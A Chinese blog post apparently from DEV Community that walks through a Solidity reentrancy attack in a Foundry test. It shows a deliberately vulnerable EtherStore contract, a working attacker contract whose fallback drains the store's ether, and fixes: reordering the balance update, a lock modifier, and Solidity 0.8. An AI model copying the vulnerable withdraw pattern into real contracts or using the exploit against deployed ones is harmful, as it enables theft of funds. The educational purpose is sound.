DEV Community

晓道
晓道

Posted on

2 2

重入攻击代码实现

昨天写一篇,蜜罐的分析,我发现感兴趣的朋友还挺多,我也就多了解了一下这方面的知识,我发现重入攻击大家都是翻译的一个老外的文章,连代码都是提供的图片,我觉得有必要自己写代码来一遍。
重入就是利用solidity虚拟机的机制来进行攻击。

什么是重入攻击?

假设有两个合约A和合约B,合约A调用合约B。在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致了一个循环。

每当我们将以太坊发送到智能合约地址时,我们都会调用我们所说的fallback函数。

fallback 函数的场景

1、调用函数找不到时

当调用的函数找不到时,就会调用默认的fallback函数。

2、send()函数发送ether

当我们使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数。

我们这个例子就是用fallback 函数来连续调用,最终把合约里面的钱都转出来。

被攻击合约如下:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(send, "send failed");
        balances[msg.sender] -= _weiToWithdraw;
    }
}
Enter fullscreen mode Exit fullscreen mode

攻击环境构建

用我前几天发的Foundry来做这次演示,前面的入门在这里
使用Foundry,感受快,rust对写合约的支持 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
构建一个测试用例:
写在src/test目录下
EtherStore.t.sol
1,部署合约

function setUp() public { //test类的 setup
        store = new EtherStore();
        attach = new EtherStoreAttach(address(store));
        cheats.deal(address(store), 5 ether);  //给合约5个eth
        cheats.deal(address(attach), 2 ether);  //给攻击者 2个eth
    }
Enter fullscreen mode Exit fullscreen mode

cheats是Foundry内置的一个mock实例,可以干什么呢,比如上面就是给合约转钱。
我这里转了5个eth
参考里面有cheats的文档链接

2,构建攻击合约,也就是fallback函数

contract EtherStoreAttach is DSTest { //攻击合约
    EtherStore store;

    fallback() external payable {
        emit log_named_uint("fallback", address(store).balance);
        if (address(store).balance > 1 ether) {
            store.withdrawFunds(1 ether);
        }
    }

    constructor(address _store) public {
        store = EtherStore(_store);
    }

    function Attach() public {   //发起攻击函数
        store.deposit{value: 1 ether}();  //保证withdrawFunds初步检查不出问题
        emit log_named_uint("testAttach", address(store).balance);
        store.withdrawFunds(1 ether);
        emit log_named_uint("endAttach", address(store).balance);
    }
}
Enter fullscreen mode Exit fullscreen mode

3、测试合约

function testAttach() public {
        emit log_named_uint("test start store", address(store).balance);
        try attach.Attach() {
            emit log_named_uint("test ok store", address(store).balance);
        } catch {
            emit log_string("catch");
        }
        emit log_named_uint("test end store", address(store).balance);
    }
Enter fullscreen mode Exit fullscreen mode

16438879961.png
16438880341.png

攻击开始,合约里有6个eth,最后剩下一个。

如何防范

网上别人都讲过多次了
1,交换的顺序,这个看起来最简单

balances[msg.sender] -= _weiToWithdraw;
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
Enter fullscreen mode Exit fullscreen mode

2,给合约带锁
加合约成员,_lock变量,
加 modifier 守卫,给withdrawFunds函数加行的modifier 守卫
操作函数时加lock,其他再进入进不去就避免了重入

3,此代码仅在0.8版本一下的solidity能运行,所以问题没有了,看这里
Exploring the new Solidity 0.8 Release (soliditydeveloper.com)
我这个代码要运行,需要这样
pragma solidity ^0.7.0;

参考

重入| 破解 Solidity | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
Solidity Fallback函数详解 - 简书 (jianshu.com)
Reentrancy | Hack Solidity #1. The motivation behind this article is… | by Zuhaib Mohammed | Jan, 2022 | CoinsBench
Cheatcodes Reference - The Foundry Book (onbjerg.github.io)

Image of Timescale

🚀 pgai Vectorizer: SQLAlchemy and LiteLLM Make Vector Search Simple

We built pgai Vectorizer to simplify embedding management for AI applications—without needing a separate database or complex infrastructure. Since launch, developers have created over 3,000 vectorizers on Timescale Cloud, with many more self-hosted.

Read more →

Top comments (0)

Image of Docusign

🛠️ Bring your solution into Docusign. Reach over 1.6M customers.

Docusign is now extensible. Overcome challenges with disconnected products and inaccessible data by bringing your solutions into Docusign and publishing to 1.6M customers in the App Center.

Learn more